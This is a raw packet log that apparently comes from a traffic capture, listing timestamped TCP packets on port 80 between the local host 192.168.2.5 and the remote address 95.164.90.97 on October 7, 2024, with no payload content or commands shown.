Oct 7, 2024 21:18:37.024203062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.024215937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.024316072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.024316072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.024316072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.024365902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.024377108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.024389029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.024400949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.024410009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.024447918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.024667025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.046305895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046375990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046387911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046407938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.046534061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046545982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046555996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046566010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046566010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.046576977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046582937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.046633959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.046633959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.046879053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046890974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046900988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046911955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046922922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046925068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.046936035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.046962976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047024012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047310114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047322035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047333956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047405958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047405958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047545910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047557116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047566891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047576904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047586918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047594070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047606945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047678947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047703028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047741890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047753096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047755003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047890902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047907114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047916889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047918081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047929049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047941923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047950983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.047956944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.047956944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048223019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048233986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048257113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048306942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048484087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048494101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048505068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048516035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048526049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048537016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048538923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048587084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048587084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048741102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048752069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048762083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048773050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048784018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048784018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048794985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048805952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.048820019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048820019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.048849106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049029112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049040079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049093962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049093962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049148083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049160004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049173117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049184084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049185038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049196959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049206972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049207926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049221039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049246073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049361944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049803972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049815893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049824953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049835920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049845934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049856901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049861908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049866915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049871922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049875975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049880981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049882889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049882889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049889088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049901009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049911976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049922943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.049922943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049937010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.049949884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050008059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050008059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050376892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050388098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050399065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050409079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050420046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050429106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050434113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050441027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050451040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050609112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050797939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050807953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050818920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050828934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050838947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050844908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050849915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050860882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050860882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050875902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050879002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050890923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050899982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.050906897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050906897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050924063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.050986052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.065825939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.065895081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.065921068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.065932035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.065987110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.065989971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.065999985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066013098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066025972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066040039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.066066980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.066095114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.066189051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066265106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.066662073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066731930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066744089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066756010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.066804886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.066904068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066916943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066929102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066940069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066952944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.066952944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.066962957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.067110062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.067210913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.067223072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.067234039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.067246914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.067257881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.067301035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.067301035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.067461014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.067473888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.067665100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.106301069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.106374979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.106446028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.106457949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.106503963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.106514931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.106527090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.106528997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.106573105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.106694937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.106720924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.107083082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.128631115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128676891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128689051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128725052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.128745079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.128757000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128837109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.128870010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128880978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128891945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128905058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.128931999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129009008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129093885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129105091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129117012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129127979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129153013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129247904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129276991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129339933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129348993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129589081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129602909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129615068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129626036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129628897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129638910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129651070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129652977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129662037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129707098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129708052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129842043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129864931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129957914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.129971981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.129986048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130047083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130047083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130131960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130143881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130155087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130167007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130177975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130177975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130215883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130215883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130347967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130359888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130371094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130382061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130394936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130404949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130409956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130414963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130423069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130435944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130446911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130448103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130458117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130470037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130472898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130492926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130501032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130544901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.130858898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130871058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130888939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130901098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.130923033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131038904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131064892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131078005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131088972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131099939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131113052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131285906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131297112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131308079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131314993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131318092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131330013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131341934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131341934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131351948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131356001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131370068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131381035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131381989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131395102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131406069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131417036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131450891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131450891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131748915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131762028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131772041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131804943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131804943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131833076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131859064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131958008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131970882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131982088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.131985903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.131998062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132006884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132009983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132030010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132035017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132042885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132055044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132055998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132072926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132076025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132101059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132226944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132401943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132412910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132431030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132441998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132453918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132457018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132467031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132476091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132481098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132493973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132496119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132505894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132517099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132530928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132538080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132608891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.132936954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.132950068 CEST	80	49810	95.164.90.97	192.168.2.5
